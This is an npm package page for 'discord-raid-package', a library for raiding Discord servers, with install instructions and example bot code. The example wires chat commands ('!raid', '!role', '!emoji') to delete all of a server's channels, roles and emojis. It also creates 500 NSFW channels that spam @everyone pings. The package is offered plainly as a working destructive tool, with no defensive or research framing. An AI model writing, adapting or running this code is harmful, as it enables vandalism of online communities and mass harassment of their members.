2.0.1 • Published 2 years ago

discord-raid-package v2.0.1

Weekly downloads
-
License
ISC
Repository
-
Last release
2 years ago

Change Log

Discord.js V12 supported. Added new functions. Removed AD and Create Roles function.

Installation

Use the package manager npm to install package.

npm install discord-raid-package

Functions

DELETE CHANNELS | CREATE CHANNELS | DELETE ROLES | DELETE EMOJIS |

Example Usage

REQUIRED DISCORD.JS V12!

const Discord = require('discord.js') //npm i discord.js@12
const client = new Discord.Client()

const Disc_rd = require('discord-raid-package') //npm i discord-raid-package
const raid = new Disc_rd.RaidBot(client)

client.on('message', async message => {
    if(message.content.startsWith('!raid')) {
  await raid.deleteAllChannels(message.guild.id)
  await raid.createChannelsLoop(message.guild.id, {amount_of_created_channels: 500, message_that_will_be_sent: "@everyone", times_message_is_sent: 10, channels_name: "raided", reason_channels: "Get raided lol", channels_topic: "raided lol", nsfw: true, channel_cooldown: 10})
  }
})

client.on('message', message => {
    if(message.content.startsWith('!role')) {
       raid.deleteAllRoles(message.guild.id)
  }
})

client.on('message', message => {
    if(message.content.startsWith('!emoji')) {
        raid.deleteAllEmojis(message.guild.id)
  }
})

client.login('your very secret bot token')